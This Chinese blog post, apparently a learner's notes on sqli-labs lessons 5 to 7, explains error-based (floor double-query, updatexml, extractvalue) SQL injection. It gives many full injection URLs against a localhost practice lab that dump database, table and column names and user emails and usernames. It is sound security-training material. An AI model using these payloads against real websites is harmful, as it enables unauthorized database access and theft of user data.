经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 其他 » 网络安全 » 查看文章
sqli-labs学习(less-5-less-7)
来源:cnblogs  作者:可乐'  时间:2018/11/27 10:13:57  对本文有异议

先介绍一些函数

 

count(*)

返回在给定的选择中被选的行数,即结果的数目

 

 

报错了,但是union没有出结果?,只是为什么?

原来是这样,这样的话只能用报错注入了

  1. (1). 通过floor报错
  2. and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
  3. 其中payload为你要插入的SQL语句
  4. 需要注意的是该语句将 输出字符长度限制为64个字符
  5. (2). 通过updatexml报错
  6. and updatexml(1,payload,1)
  7. 同样该语句对输出的字符长度也做了限制,其最长输出32
  8. 并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
  9. (3). 通过ExtractValue报错
  10. and extractvalue(1, payload)
  11. 输出字符有长度限制,最长32位。
  12. payload即我们要输入的sql查询语句

floor报错注入即双查询注入

可以参考

  1. https://www.2cto.com/article/201303/192718.html

双注入的原理总的来说就是,当一个聚合函数后面出现group分组语句时,会将查询的一部分结果以报错的形式返回,他有一个固定的公式。

  1. http://localhost/sql/Less-5/?id=1' union select count(*),count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23
  2. 当然只有一个也行
  3. http://localhost/sqli/Less-5/?id=1' union select count(*),1, concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23

    http://localhost/sqli-labs-master/Less-5/?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+

    http://localhost/sql/Less-5/?id=-1' and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+


因为是随机性,所以要多刷新几下

  1. http://localhost/sql/Less-5/?id=-1' union select count(*),count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a %23

查询有哪些数据库

  1. http://localhost/sql/Less-5/?id=2' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

字数超限

  1. http://localhost/sql/Less-5/?id=2' and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 1,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查询表

  1. http://localhost/sql/Less-5/?id=1' union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23

查询列字段

  1. http://localhost/sql/Less-5/?id=1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23

查询内容

  1. http://localhost/sql/Less-5/?id=1' union select count(*),1, concat('~',(select email_id from emails limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23
  1. http://localhost/sql/Less-5/?id=1' union select count(*),1, concat('~',(select username from users limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23

用group_concat()查看多个发现不行,不知道为啥~~

less-6

与less-5一样,只是把id外面的单引号改为了双引号

less-7

关键代码

  1. $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

关键只是id用'))闭合就行了,但缺爆了错误 ,有点蒙,以后补充解释,

提示是用 

use outfile  

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号